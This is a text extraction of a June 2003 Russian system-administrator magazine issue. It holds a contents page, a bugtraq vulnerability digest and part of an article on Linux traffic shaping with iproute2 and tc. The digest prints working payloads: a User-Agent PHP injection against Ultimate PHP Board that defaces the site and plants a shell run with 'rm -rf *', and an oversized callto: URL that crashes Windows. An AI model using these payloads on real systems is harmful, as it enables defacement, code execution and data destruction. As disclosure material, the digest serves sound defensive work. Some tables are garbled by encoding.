98
журнал для cистемных администраторов, вебмастеров и программистов №6(7) июнь 2003 подписной индекс 81655 Введение в OpenBSD Скрипты для подсчета трафика: реализация в FreeBSD Использование IPSec в Windows 200x Контрольная сумма на защите Linux/FreeBSD Создание загрузочных дискет и CD-дисков Linux Введение в OpenBSD Скрипты для подсчета трафика: реализация в FreeBSD Использование IPSec в Windows 200x Контрольная сумма на защите Linux/FreeBSD Создание загрузочных дискет и CD-дисков Linux

007 Системный Администратор 06 2003

Embed Size (px)

DESCRIPTION

Введение в OpenBSD Скрипты для подсчета трафика: реализация в FreeBSD Использование IPSec в Windows 200x Контрольная сумма на защите Linux/FreeBSD Создание загрузочных дискет и CD-дисков Linux №6(7) июнь 2003 журнал для cистемных администраторов, вебмастеров и программистов подписной индекс 81655

Citation preview

Page 1: 007 Системный Администратор 06 2003

журнал для cистемных администраторов,вебмастеров и программистов

№6(7) июнь 2003подписной индекс 81655

Введение в OpenBSD

Скрипты дляподсчета трафика:реализация в FreeBSD

Использование IPSecв Windows 200x

Контрольная суммана защитеLinux/FreeBSD

Созданиезагрузочных дискети CD-дисков Linux

Введение в OpenBSD

Скрипты дляподсчета трафика:реализация в FreeBSD

Использование IPSecв Windows 200x

Контрольная суммана защитеLinux/FreeBSD

Созданиезагрузочных дискети CD-дисков Linux

Page 2: 007 Системный Администратор 06 2003
Page 3: 007 Системный Администратор 06 2003

1№6(7), июнь 2003

оглавление

БЕЗОПАСНОСТЬ

СЕТИ

Введение в OpenBSDДенис Назаров[email protected] 14

Учет трафика с помощью программMRTG и LAN Billing

Денис Колисниченко[email protected]

4

Статическая маршрутизацияв Linux. iproute2Часть2

Всеволод Стахов[email protected]

20

Ipfw и управление трафиком в FreeBSDИгорь Чубин[email protected] 26

36

44

Создание загрузочных дискети CD-дисков Linux

Всеволод Стахов[email protected]

52

Использование IPSec в Windows 200xМаксим Костышин[email protected]

64

Перехват Shell через YaBBВиктор Игнатьев[email protected] 78

Дальняя связь. Как это бываетДенис Еланский[email protected] 90

Скрипты для подсчета трафика:пример реализации в FreeBSD

Денис Пеплин[email protected]

Виртуальный компьютерДенис Колисниченко[email protected]

HARDWARE

Контрольная сумма на защитеLinux/FreeBSD

Сергей Яремчук[email protected] 70

BUGTRAQ 2, 13, 19, 35, 43, 77

АДМИНИСТРИРОВАНИЕ

Глубоководное погружениев чипсет Intel 875P

Крис Касперски[email protected] 82

Page 4: 007 Системный Администратор 06 2003

2

bugtraq

Удаленное выполнение произвольногоPHP-кода через HTTP-заголовокUser-Agent в Ultimate PHP BoardУязвимость обнаружена в Ultimate PHP Board (UPB). Уда-ленный пользователь может выполнить произвольный PHP-код на системе как UPB-администратор.

F0KP сообщает, что в этом форуме присутствует серь-езная уязвимость, которая позволяет атакующему выпол-нять произвольный PHP-код. UPB протоколирует некоторуюинформацию о посетителях (такую, как REMOTE_ADDR иHTTP_USER_AGENT) в текстовый файл в директории `db',который называется `iplog'.

Затем в панели администратора администратор фору-ма может вызвать admin_iplog.php, который просто подклю-чает `iplog'. Например:

Когда администратор вызовет admin_iplog.php, ваш кодPHP будет выполнен.

Пример:

1.дефейсит главную страницу форума.2. Создаст tcsh.php с правами httpd в корневой дирек-

тории веб-сайта. Затем вам просто нужно будет зайти наhttp://hostname/tcsh.php?cmd=rm -rf *

После внедрения кода через поле User-Agent вам нужноподождать, пока администратор посмотрит admin_iplog.php.

Уязвимость обнаружена в Ultimate PHP Board 1.9.

e@some_host$ telnet hostname 80Connected to hostname at 80GET /board/index.php HTTP/1.0User-Agent: <? phpinfo(); ?>

<? system( "echo \'hacked\' > ../index.html" ); ?>

Demarc PureSecure ракрывает паролик базе данных локальномупользователюУязвимость обнаружена в Demarc PureSecure. Серверхранит пароли для входа на сервер в открытом виде вфайле на системе.

Сообщается, что пароли базы данных и другая ин-формация доступа для входа на сервер хранится в неза-шифрованном виде. Локальный пользователь может про-смотреть эту информацию и затем получить доступ к уда-ленной базе данных.

Уязвимость обнаружена в Demarc PureSecure 1.6.

Отказ в обслуживании, удаленноепереполнение буфера и XSS в MicrosoftInternet Information Service 4.0-5.1 (патч)Microsoft выпустила обновление для IIS 4.0-5.0, которое уст-раняет все ранее обнаруженные уязвимости в IIS 4.0-5.0,выпущенные после Windows NT 4.0 Service Pack 6a для IIS4.0 и Windows 2000 Service Pack 2 для IIS 5.0 и IIS 5.1. Такжепатч устраняет четыре новые, недавно обнаруженные уяз-вимости, которые могут использоваться удаленным атаку-ющим для XXS-нападения, DoS-атаки и выполнения произ-вольного кода на целевой системе.

1. Уязвимость Cross-Site Scripting обнаружена в механиз-ме отображения сообщений об ошибках при переадресациизапрашиваемого URL в IIS 4.0, 5.0 и 5.1. Атакующий можетсконструировать злонамеренную ссылку, содержащую про-извольный код сценария, который будет выполнен в браузе-ре пользователя, кликнувшего на эту ссылку в контекстеуязвимого сайта.

2. Переполнение буфера в IIS 5.0 связано с недостаточ-ной проверкой запросов для некоторых типов веб-страниц,таких как SSI (server side includes). Для успешной эксплуа-тации уязвимости атакующий должен быть способен загру-зить SSI-страницу на уязвимый IIS веб-сервер. Если атакую-щий впоследствии запросит эту страницу, произойдет пере-полнение буфера, позволяющее выполнить произвольныйкод на сервере с пользовательскими привилегиями.

Чрезмерно длинный запрос NetMeetingURL приводит к аварийному завершениюработы Windows-системОтказ в обслуживании обнаружен в операционных систе-мах Microsoft Windows 2000 и XP в обработке NetMeetingURL. Удаленный пользователь может сконструироватьURL, который при загрузке аварийно завершит работуоперационной системы.

Сообщается, что злонамеренный NetMeeting CallToURL (callto:msils) может вызвать 'Kmode'-исключение.

Пример:

Уязвимость подтверждена на системах Windows 2000SP3 и Windows XP Pro.

callto:msils/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+type=directory

Составил Александр Антипов

3. Отказ в обслуживании связан с неправильным рас-пределением памяти в IIS 4.0-5.0 при построении заголов-ков, которые будут возвращены веб-клиенту. Атакующийдолжен быть способен загрузить ASP-страницу на уязви-мый IIS-сервер. Если атакующий впоследствии запроситASP-страницу, которая возвращает чрезвычайно большойзаголовок запрашиваемому веб-клиенту, IIS не ограничитобъем выделяемой памяти для этого запроса, в результа-те работа сервера может аварийно завершиться вслед-ствие исчерпания доступной памяти на системе.

4. Отказ в обслуживании связан с неправильной обра-боткой чрезмерно длинных WebDAV-запросов, передан-ных к IIS 5.0 и 5.1. В результате работа IIS аварийно за-вершится и сервер будет перезапущен автоматическипосле аварии. Этот патч требует предварительно установ-ленный патч MS02-050. Уязвимость происходит, когдаклиент получает запрос более 49,153 байт, используяметод 'PROPFIND' или 'SEARCH'.

Уязвимость обнаружена в Internet Information Service4.0-5.1.

Page 5: 007 Системный Администратор 06 2003
Page 6: 007 Системный Администратор 06 2003

4

администрирование

ВСЕВОЛОД СТАХОВ

СТАТИЧЕСКАЯ МАРШРУТИЗАЦИЯВ LINUX.IPROUTE2ЧАСТЬ 2

Page 7: 007 Системный Администратор 06 2003

5№6(7), июнь 2003

администрирование

Во второй части описаны принципы управления сетевым тра-фиком посредством очередей. Эта тема зачастую не упо-минается в руководствах, но на самом деле с помощью оче-редей сетевых пакетов можно выполнять широкий круг ис-ключительно полезных задач. Приведу несколько примеров,которые часто встречаются на практике. Итак, очереди спо-собны контролировать скорость передачи пакетов, ограни-чивая нежелательный сетевой трафик по скорости (позво-ляет избежать выход из строя сервера или отдельных демо-нов в результате DoS- и даже DDoS-атак). Позволяет осу-ществлять распределение нагрузки между несколькими се-тевыми интерфейсами. С помощью очередей также можнодобиться существенного увеличения производительностисети в целом при помощи разделения различных видов тра-фика (например, интерактивные данные должны обрабаты-ваться быстрее) на основе поля ToS (type of service – типуслуг). Iproute2 также дает возможность ограничения SYN-flood и ICMP-dDoS атак. Кроме этого, можно устанавливатьсвой предел скорости на основе различных фильтров.

Я начну с некоторых пояснений терминологии. Что естьочередь в данном контексте? Очередь – это механизм, по-зволяющий управлять приемом и передачей пакетов. Оче-редь является физическим объектом в памяти и содержитпакеты, поступившие на сетевой интерфейс. Чтобы понятьпринцип работы очередей (а именно возможности ограни-чения скорости), рассмотрим такой пример: пакет посту-пает в пустую очередь и передается на обработку, следую-щий пакет поступает в очередь и ждет обработки первогопакета (здесь под словом обработка подразумевается до-ставка пакета ядром на сокет-приемник), если в очередьпоступает много пакетов, то они не успевают обрабаты-ваться, и очередь растет. Если размер очереди ограничен(а он ограничен всегда), то следующие пакеты не попада-ют в очередь, а просто отбрасываются. Таким образом,регулируя длину очереди и зная время обработки одногопакета, можно вычислить наибольшую скорость передачипакетов. Замечу, что утилита tc пакета iproute2, выполняю-щая контроль над очередями, осуществляет преобразова-ние скорость → длина очереди автоматически, и вам не-обходимо указывать не непосредственно длину очереди, алимит скорости в формате:� mbit – мегабиты в секунду;� kbit – килобиты в секунду;� mbps – мегабайты в секунду;� kbps – килобайты в секунду.

На деле реализация очередей несколько отличаетсяот вышеприведенной, т.к. отбрасывание пакетов из кон-ца очереди приводит к неприятным последствиям дляTCP-протокола: например, когда сообщение потеряно,приложение-отправитель может рассматривать это каксигнал о том, что оно посылает пакеты слишком быстро.TCP реагирует на такой сигнал замедлением отправкисообщений. Но когда очередь полна, то часто несколькосообщений отбрасываются друг за другом – в результа-те целый ряд приложений решает замедлить передачу.После этого приложения зондируют сеть для определе-ния ее загруженности и буквально через несколько се-кунд возобновляют передачу с прежним темпом, что

опять приводит к перегрузке. Поэтому обычно очередьпросто отбрасывает лишние пакеты от различных источ-ников (обычно используется алгоритм генерации случай-ных чисел), если за определенный промежуток времениеё размер превзошёл некий лимит. Такой механизм на-зывается «случайное раннее обнаружение» (RandomEarly Detection, RED).

Вторым краеугольным камнем системы управления тра-фиком iproute2 является многополосность очередей. Пред-ставим себе, что у сетевого интерфейса 2 независимыеочереди, имеющие различный приоритет. То есть пакеты,поступившие в очередь 2, будут обрабатываться, толькоесли в очереди 1 пакетов, ждущих обработки, нет. Что жедает такая схема? С помощью механизма полос можновыделять трафик, требующий быстрой обработки, и поме-щать его в 1-ю полосу, в то время как остальной трафик,не требующий особенно высокой скорости (например, ftp,smtp, pop) помещается в полосу с меньшим приоритетом(большим порядковым номером). Нечто подобное предла-гают сети ATM или Frame Relay, но iproute2 позволяет орга-низовать подобное поведение на любом интерфейсе. Не-обходимость в такой системе возникает при передаче ин-терактивных данных, например, видео или голосовых (ip-телефония). Существует следующий подход к выделениюинтерактивного трафика: поле ToS – метка, присваивае-мая пакету с помощью netfilter (--tos) или присваиваемаянепосредственно сетевой службой (ftp, smtp...).

Поле ToS является ранней попыткой реализации сер-виса QoS, обеспечивающей достаточно небольшой наборзначений, приведу таблицу наиболее популярных прото-колов и значения ToS для них:� минимальная задержка – telnet, ftp (команды), ssh, smtp

(команды), DNS (udp);� максимальная полоса пропускания – ftp (данные), smtp

(данные);� максимальная надежность;� минимальная стоимость.

В настоящее время в основном используются значения«минимальная задержка» и «максимальная полоса про-пускания» (хотя я не исключаю других вариантов).

Очереди, имеющие возможность фильтрации трафикапо полосам, называют CBQ, (Class-Based Queuing – оче-редь, классифицирующая пакеты), хотя это и не совсемправильно, т.к. существует отдельный тип очереди cbq,поэтому очереди такого типа я в дальнейшем буду обозна-чать как classfull. Команда tc имеет возможность управле-ния множеством типов очередей, поэтому я бы хотел не-сколько подробнее остановиться на описании синтаксисаэтой команды (тем более, что зачастую длинные цепочкикоманд tc зачастую выглядят весьма устрашающе).

Для корректной работы traffic control необходимо вклю-чить поддержку нужных типов очередей на уровне ядра.При конфигурации ядра необходимо зайти на страницуNetworking Options, войти в пункт QoS and/or fair queueing,после чего в выбранном подразделе выделить галочкойопцию QoS and/or fair queueing. В открывшемся спискепараметров отметьте нужные типы очередей и опции trafficcontrol. В принципе можно включить все опции, т.к. это

Page 8: 007 Системный Администратор 06 2003

6

администрирование

может пригодиться в будущем при расширении схемыконтроля трафика.

Как и ip, команда tc может управлять несколькими се-тевыми объектами. Их, собственно, три:� qdisc – управление очередями;� class – управление определёнными частями очереди,

например, полосами;� filters – управление фильтрами (фильтр определяет, в

какую полосу очереди попадет тот или иной пакет наосновании определенных параметров пакета, напри-мер, протокола, порта, метки, и т. д.).

Синтаксис команд следующий (нагло содрано мною измануала):

� tc qdisc show [ dev DEV ] – показ очередей интерфейса;� tc class show dev DEV – показ классов сетевого уст-

ройства;� tc filter show dev DEV – показ фильтров интерфейса DEV.

В основном отметьте последние 3 команды, т.к. назна-чение первых будет подробно описано далее на конкрет-ных примерах.

Параметров у различных объектов очень много, что-бы описать их все, поэтому сейчас я бы хотел пояснитьзначение параметров parent qdisc-id и handle (classid)qdisc-id. На самом деле при добавлении новой очереди кочереди-контейнеру (classfull-очереди, понятие будет рас-смотрено далее) производится построение дерева объек-тов очередей (на самом деле дерево содержится не в ядре,которое ничего не подозревает о наличии подочередей, авыбор подочереди для извлечения из неё пакета осуще-ствляет очередь-контейнер). Например:

Дерево выглядит так:

Добавляем далее:

Для примера добавлю ещё одну очередь:

Как происходит извлечение пакета из очереди ядром?Ядро запрашивает очередь самого верхнего уровня (root)о необходимости извлечения пакета. Очередь верхнегоуровня проверяет очереди нижнего уровня и выбирает ту,которая подходит по определенным параметрам (это за-висит от типа очереди-контейнера и её настроек), послеосуществления выбора очередь верхнего уровня извле-кает пакет и передает его выше (очереди, находящейсявыше по иерархии, или ядру, если это очередь root). Та-ким образом, сама иерархия построена по принципу ми-нимальных знаний о нижних уровнях. Каждый уровеньзнает о существовании только одного нижнего уровня иосуществляет выбор только в рамках одного уровня. Такпримерно можно представить схему уровней очередей:

По моему мнению, построение дерева очередей – пред-мет большинства ошибок в скриптах, т.к. очень легко пе-репутать идентификаторы очередей. Для тех, кто собралсяпродумывать систему контроля трафика, необходимо за-ранее спланировать (например, нарисовать схему на бу-маге) будущее дерево, дабы избежать досадных прома-хов. Особенно важным становится этот аспект при пост-роении сложных очередей, состоящих из нескольких про-стых очередей. Замена (удаление) очередей производит-ся командой tc qdisc change (del) с указанием значенийparent и handle:

После некоторого чисто теоретического вступления на-стало время поговорить о типах очередей и о применении

tc qdisc [add | change | replace | del | link] dev DEV ↵[parent qdisc-id | root] [handle qdisc-id] queue-type ↵[qdisc specific parameters]

tc class [add | change | replace | del] dev DEV ↵parent qdisc-id [classid class-id] queue-type ↵[qdisc specific parameters]

tc filter [add | change | replace | del] dev DEV ↵[parent qdisc-id | root] protocol protocol prio ↵priority filter-type [filtertype specific parameters] ↵flowid flow-id

tc qdisc add dev eth0 root handle 1: classful-queue [parameters]

tc qdisc add dev eth0 parent 1: handle 10: queue-type [parameters]

tc qdisc add dev eth0 parent 1: handle 20: queue-type [parameters]

# tc qdisc del dev eth0 root handle 1: queue-type

Page 9: 007 Системный Администратор 06 2003

7№6(7), июнь 2003

администрирование

их на практике. Таковых типов существует 6. Среди них 3типа являются classfull (возможность разделять трафик пополосам): prio, cbq, htb, а 3 являются обычными (classless):tbf, pfifo, sfq. Classless-очереди являются более простымиобъектами, чем classfull, и способны лишь устанавливатьопределённые ограничения на передачу трафика. Основ-ное отличие 2 семейств очередей в том, что classfull-оче-реди содержат внутри себя classless-«подочереди», отли-чающиеся приоритетом. Таким образом, classfull-очередиявляются контейнерными объектами и позволяют выпол-нять разделение трафика по другим очередям (в термино-логии traffic control – классами). Для начала я рассмотрюclassless-очереди, а потом перейду к более сложным (но,несомненно, более интересным) classfull-очередям.

TBF(token bucket filter) – простой тип очереди, не вы-полняющий разделения пакетов, который удерживает ско-рость передачи пакетов на примерно постоянном уровне(меньшем, чем реальная скорость интерфейса). При этом,если скорость передачи меньше заданного значения, топакеты кладутся в очередь, пока не будет достигнут опре-делённый размер очереди, который затем передается наобработку (но происходит некоторая задержка данных, т.к.происходит ожидание необходимого количества пакетовдля поддержания постоянной скорости передачи). Если жескорость превышает заданную, то «лишние» пакеты про-сто отбрасываются. Такой тип очереди нельзя порекомен-довать для сетей, где очень резко меняется загруженность,т.к. могут возникнуть неоправданные задержки при сла-бой загрузке сети и снижение пропускной способности ин-терфейса при большой загрузке. Основные параметры tbf:� limit или latency – число байт, которые могут быть по-

мещены в очередь для ожидания, фактически – мак-симальное время, которое может провести пакет в оче-реди (чем больше limit, тем сильнее увеличиваетсязадержка данных при низкой загрузке интерфейса);

� burst (buffer или maxburst) – длина буфера очереди вбайтах, чем больше заданная скорость передачи, тембольше должен быть буфер данных, например, дляскорости 10 mbit необходим буфер не менее 10 Кб, адля скорости 256 kbit – не менее 1 Кб. В общем, рас-считывается как rate_in_bytes/100. Для 100 Мбит –104857600/800 = 1310172 байт. При указании этогопараметра учтите, что все указанные значения – ми-нимальные, ничто не мешает вам увеличить этот па-раметр для гарантии того, что пакеты не будут от-брасываться очередью по причине переполнения пос-ледней. Фактически размер буфера ограничен толь-ко размером физической памяти системы (т.к. буферочереди обязан находиться в памяти);

� mpu – минимальный размер пакета для помещения вочередь, пакеты меньшей длины отбрасываются, для се-тей Ethernet каждый пакет должен быть больше 64 байт;

� rate – заданый уровень скорости;� peakrate – максимально возможная скорость пере-

дачи пакетов из очереди в интерфейс, по умолча-нию 1 Мбит/с.

С одной стороны, tbf снижает в общем пропускную спо-собность интерфейса, но существуют ситуации, когда это

оказывается полезным (хотя, честно говоря, я с такимиситуациями не встречался, но, может быть, кому-то этоокажется полезным). Например, имеется ADSL-модем, ко-торый имеет очень большую очередь на upload. Поэтомупри попытке передачи данных в сеть, скорость загрузкиданных сильно падает, т.к. на модеме заполняется длин-ная очередь, контролировать которую не представляетсявозможным. Одним из вариантов решения проблемы яв-ляется размещение tbf-очереди на Linux-маршрутизато-ре и установке максимального времени ожидания пакетав очереди. Пример конфигурации:

Скорость rate выбрана исходя из максимальной скоро-сти интерфейса (в данном примере 256 Кбит/с) минус не-сколько процентов. Размер очереди burst выбран также со-ответственно скорости. Особо отметьте параметр latency:чем меньше этот параметр, тем меньше пакеты будут за-держиваться в очереди – меньшая задержка увеличиваетинтерактивность данных. Заметьте, tbf не спасет вас отфлуда (см. замечание далее в описании sfq-очередей).

Следующий тип classless-очереди – sfq (stochasticfairness queueing – очередь равномерного случайного рас-пределения пакетов). Алгоритм работы этого типа таков:данные, поступающие в очередь, разделяются на доста-точно большое количество «виртуальных» подочередей(виртуальных, т.к. в памяти существует одна очередь, ноона представляется совокупностью многих подочередей),из подочередей данные извлекаются по очереди. Т.е. этонапоминает сети Token Ring с передачей маркера по коль-цу. Подочередь, получившая маркер, передает один па-кет данных, а маркер переходит к следующей подочере-ди. Случайность передачи обеспечивается тем, что раз-мер подочередей обычно не фиксируется жестко и дан-ные могут попадать в различные подочереди. Такая оче-редь весьма полезна при сильной загрузке сетевого ин-терфейса многими клиентами. SFQ не позволяет захва-тить одному клиенту все ресурсы обработки пакетов, по-этому обеспечивается примерно одинаковая скорость по-ступления данных от различных клиентов. Учтите, это неспасет от DoS или банального флуда, т.к. любая очередьуправляет скоростью обработки данных, т.е. фактическискоростью передачи ответных пакетов, а при наводнениипакетами интерфейса, последний не сможет приниматьдругие пакеты, и очередь в этом случае не помогает, т.к.нарушается работа самого сетевого устройства. Такимобразом, sfq-очереди эффективны для регулирования ско-рости передачи пакетов различным клиентам. Никогда незабывайте об этом факте (хотя далее будет приведен при-мер, позволяющий «спасти» систему от DoS-атак при по-мощи очередей, но при этом, если наводняется сам ин-терфейс, то работать он все равно не будет). Параметрыsfq-очередей:� pertrub – число секунд, после которого происходит пе-

рерасчет длины подочередей, по умолчанию – 0, т.е.переконфигурирования не происходит, рекомендует-ся устанавливать этот параметр, равным примерно10 секундам;

# tc qdisc add dev ppp0 root tbf rate 220kbit ↵latency 50ms burst 1500

Page 10: 007 Системный Администратор 06 2003

8

администрирование

� quantum – число байт, которые может передать подоче-редь, получившая маркер, значение по умолчанию –MTU интерфейса – подходит для большинства случа-ев, т.к. это гарантирует, что очередь сможет передатьхотя бы один пакет.

Sfq-очереди удобно применять для балансированиянагрузки сервера:

Наконец, самый простой тип classless-очереди – pfifo(лимит пакетов) и bfifo (лимит байт). Эти очереди явля-ются простыми очередями определённой длины, не вы-полняющими никаких действий над поступающими вних пакетами. Единственный параметр таких очередей– limit, означающий размер очереди в пакетах (pfifo) и вбайтах (bfifo).

Создает очередь длиной в 500 пакетов.Прежде чем приступать к чтению следующего разде-

ла, полезно вспомнить о принципах построения дереваобъектов очередей, т.к. далее будет рассказываться оclassfull-очередях, при создании которых необходимо до-бавлять очереди (или классы) в очереди-контейнеры.

Итак, classfull-очереди. Как работает такая очередь?Гм... строго говоря, classfull-очередь – это обычно некийконтейнер, содержащий другие очереди. Решение, кудаотправить тот или иной пакет, принимается на основаниифильтров (о них будет рассказано далее) или на основа-нии приоритета очереди-потомка. Решение, откуда от-правлять пакет на обработку верхнему уровню, принима-ется на основании приоритета и настроек очереди-кон-тейнера. Очереди же внутри контейнера не знают о су-ществовании родителя непосредственно, т.е. они продол-жают вести себя обычным образом, но все операции осу-ществляются не с ядром, а с очередью верхнего уровня.Итак, далее я бы хотел рассказать о некоторых типахclassfull-очередей, которые являются наиболее полезны-ми на практике.

Первый тип – prio-очереди. Очередь такого типа мо-жет разделять трафик между тремя полосами, которыеявляются очередями любого типа. Разделение осуще-ствляется на основании фильтров (см. далее). Каждаяподочередь, входящая в prio, имеет свой приоритет, оп-ределяемый значением handle. При этом больший при-оритет имеет та подочередь, которая относится к клас-су 1:. Т.е. при извлечении пакета из очереди вначалеисследуется подочередь с большим приоритетом, еслив последней нет пакетов для обработки, то выбираетсяочередь с более низким приоритетом и т. д. Каким жеобразом трафик разделяется между полосами? Естьдва пути: использование фильтров и использованиеполя TOS. На основании поля TOS различный вид тра-фика помещается в подочереди с разным приоритетом(отметьте, что очереди с меньшим номером обладаютбольшим приоритетом):

Среди параметров prio-очереди можно отметить толь-ко 2: bands – число полос (по умолчанию – 3) и priomap –карта распределения трафика в зависимости от поля TOS.Эти параметры редко приходится менять, т.к. для слож-ных ситуаций лучше применять более сложные очереди.

Очередь prio очень полезна, если необходимо повыситьобщую пропускную способность интерфейса. Разделениена основе TOS особенно выгодно в сетях Unix, т.к. попу-лярные сервера и приложения умеют грамотно устанавли-вать флаг TOS (например, SSH устанавливает TOS «Ми-нимальная задержка», а scp – «Максимальная пропускнаяспособность»). К сожалению, в сетях, где имеются клиен-ты M$, ситуация усложняется, т.к. по неизвестной причинеM$ ставит свои ОС в привилегированные условия, уста-навливая TOS «Интерактивный» по умолчанию. Prio ещеполезна тем, что может содержать очереди различноготипа, например, tbf или sfq. Это её основное отличие оточереди pfifo_fast, которая создает три полосы pfifo по умол-чанию и не позволяет менять тип подочередей. Поэтомутип pfifo_fast относится к classless, хотя осуществляет раз-деление трафика, но подочереди являются неотделимойчастью самой pfifo_fast. Приведу пример создания prio-оче-реди, содержащей 2 подочереди sfq и одну tbf:

Псевдо-дерево будет выглядеть так:

Заметьте, что 1: добавляет автоматически три полосы –1:1 1:2 1:3, т.к. по умолчанию количество полос равно трем.

Если вы попробуете передавать данные различного типа,например ssh и ftp, то заметите, что интерактивный трафикпоступает в 1-ю и 2-ю полосы, а неинтерактивный – в 3-юполосу. Если prio является достаточно простым типом оче-реди, то следующие типы не обладают этим свойством.

Прежде всего, это тип cbq (classfull based queueing).Этот тип позволяет добавлять множество классов и осу-ществлять весьма нетривиальную обработку трафика.Распределение трафика по классам осуществляется по-средством фильтров. Но cbq-очереди слишком сложны ине всегда делают то, что от них требуется. По этой причи-

# tc qdisc add dev eth0 root pfifo limit 500

# tc qdisc add dev eth0 root handle 1: prio

# tc qdisc add dev eth0 parent 1:1 handle 10: sfq pertrub 10# tc qdisc add dev eth0 parent 1:2 handle 20: ↵

tbf rate 1mbit buffer 15000 latency 10ms# tc qdisc add dev eth0 parent 1:3 handle 30: sfq pertrub 10

# tc qdisc add dev eth0 root sfq pertrub 10

TOS ¹ ïîëîñûÌàêñèìàëüíàÿ íàäåæíîñòü – 1Ìèíèìàëüíàÿ öåíà – 2Ìàêñèìàëüíàÿ ïðîïóñêíàÿ ñïîñîáíîñòü – 2Ìèíèìàëüíàÿ çàäåðæêà (èíòåðàêòèâíûé) – 1

Page 11: 007 Системный Администратор 06 2003

9№6(7), июнь 2003

администрирование

не я буду рассматривать не cbq-очереди, а их ближайшихродственников – htb (hierarchial token bucket), которыеимеют те же возможности, что и cbq-очереди, но лишенынедостатков последних – излишней громоздкости синтак-сиса и непрозрачности (единственным недостатком яв-ляется то, что для их использования необходимо патчить2.2 ядро, но 2.4.20 ядро имеет встроенную поддержку это-го типа очередей).

Итак, позвольте представить, htb-очереди. Для нача-ла убедитесь, что вы имеете ядро версии 2.4.20 и выше.Если такового не имеется, необходимо сходить на сайтпроекта htb – http://luxik.cdi.cz/~devik/qos/htb/ и скачатьпакет htb3, содержащий патчи для ядер 2.2 и 2.4, а такжеисправленную версию tc. Находится этот пакет по адресуhttp://luxik.cdi.cz/~devik/qos/htb/v3/htb3.6-020525.tgz. Что жепозволяют делать htb-очереди? Они позволяют регулиро-вать полосу пропускания трафика и фактически созда-вать на базе одного интерфейса несколько более медлен-ных, и разделять трафик по полосам, отличающимся поскорости передачи. На самом деле htb-очередь – оченьполезная вещь.

Допустим, нам необходимо повысить полосу пропус-кания www- и smtp-трафика, но понизить скорость ftp-тра-фика. С помощью очереди prio можно лишь менять при-оритет разного рода трафика, но если передается толькоftp-данные, то каким бы ни был приоритет ftp, все равноэтот трафик будет передаваться с максимальной скорос-тью. Единственной возможностью решения такой ситуа-ции для prio-очереди является использование в качествеполос tbf-очередей. В то же время, если необходимо орга-низовать весьма нетривиальное распределение трафикаи ограничение полос пропускания, то лучше всего исполь-зовать htb-очередь. Для упрощения понимания принци-пов создания htb-очередей приведу простой пример. До-пустим, к серверу подключено 2 клиента (А и Б). Эти кли-енты пользуются только www- и smtp-сервисами (такоеупрощение сделано для наглядности, далее будут приве-дены примеры реальных скриптов). Имеется 10-ти мега-битный интерфейс, полосы пропускания будут выглядетьтаким образом:

Команды, реализующие эту схему, будут выглядеть так:

Думаю, эта команда не вызывает трудностей в пони-мании. Параметр default 13 означает, что по умолчаниютрафик будет направляться на полосу с идентификато-ром 13. Трафик «по умолчанию» означает тот трафик,который не был распределён при помощи фильтров.

Теперь необходимо добавить полосы – классы. Учти-те, что классы – это объекты, которые являются состав-ными частями classfull-очередей, но сами по себе не яв-ляются очередями. Таким образом, схема составления htb-очереди выглядит примерно так:

Команды, делающие это, представлены ниже. Добав-ляем классы:

Псевдодерево очередей будет выглядеть так:

Сделаю некоторые пояснения относительно парамет-ров классов htb. Параметр rate означает полосу пропус-кания, ceil означает максимальную скорость обмена клас-са с родительской очередью (или классом). Также естьвозможность указания приоритета каждого класса ана-логично prio-очереди при помощи параметра prio (анало-гично меньшее значение параметра означает большийприоритет). Существуют 2 параметра burst и cburst, регу-лирующие параметры буфера очереди:� burst – размер в байтах буфера, для Intel-машин вы-

числяется по формуле (speed_in_bits)/(1008); для на-шего случая минимальное значение – 12500 байт;

� cburst – означает минимальный размер данных в бай-тах, передаваемых родительской очереди; обычно неменьше mtu-интерфейса.

После добавления классов логичным является добавле-ние средств, распределяющих трафик по этим классам. Та-ким средством являются фильтры. Вернемся к нашему про-стому примеру. Для него фильтры будут добавляться так:

Поясню все по порядку. Директива protocol означаетпротокол для фильтрации, parent – очередь, c которой ра-ботает фильтр (в данном случае корневая htb), prio – при-оритет данного фильтра (чем меньше значение, тем боль-ше приоритет), u32 значит, что ведется поиск совпаденийв любой части пакета, match ... – правила совпадения оп-

Êëèåíò Ñåðâèñ Ïîëîñà ïðîïóñêàíèÿA smtp 2mbitA www 3mbitB all 1mbitother all 2mbit

# tc qdisc add dev eth0 root handle 1: htb default 13

äîáàâëåíèå ñàìîé î÷åðåäè → äîáàâëåíèå êëàññîâ →äîáàâëåíèå ôèëüòðîâ, ðàñïðåäåëÿþùèõ òðàôèê ïî êëàññàì →äîáàâëåíèå î÷åðåäåé (îáû÷íî classless, ïî óìîë÷àíèþ pfifo),ðåàëèçóþùèõ êëàññû

# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 ↵ match ip src A_ip match ip dport 80 0xffff flowid 1:10# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 ↵ match ip src A_ip match ip dport 25 0xfff flowid 1:11# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 ↵ match ip src B_ip flowid 1:12

tc class add dev eth0 parent 1: classid 1:1 ↵htb rate 9mbit ceil 9mbit burst 12500

tc class add dev eth0 parent 1:1 classid 1:10 ↵htb rate 2mbit ceil 9mbit burst 12500

tc class add dev eth0 parent 1:1 classid 1:11 ↵htb rate 3mbit ceil 9mbit burst 12500

tc class add dev eth0 parent 1:1 classid 1:12 ↵htb rate 1mbit ceil 9mbit burst 12500

tc class add dev eth0 parent 1:1 classid 1:13 ↵htb rate 3mbit ceil 9mbit burst 12500

Page 12: 007 Системный Администратор 06 2003

10

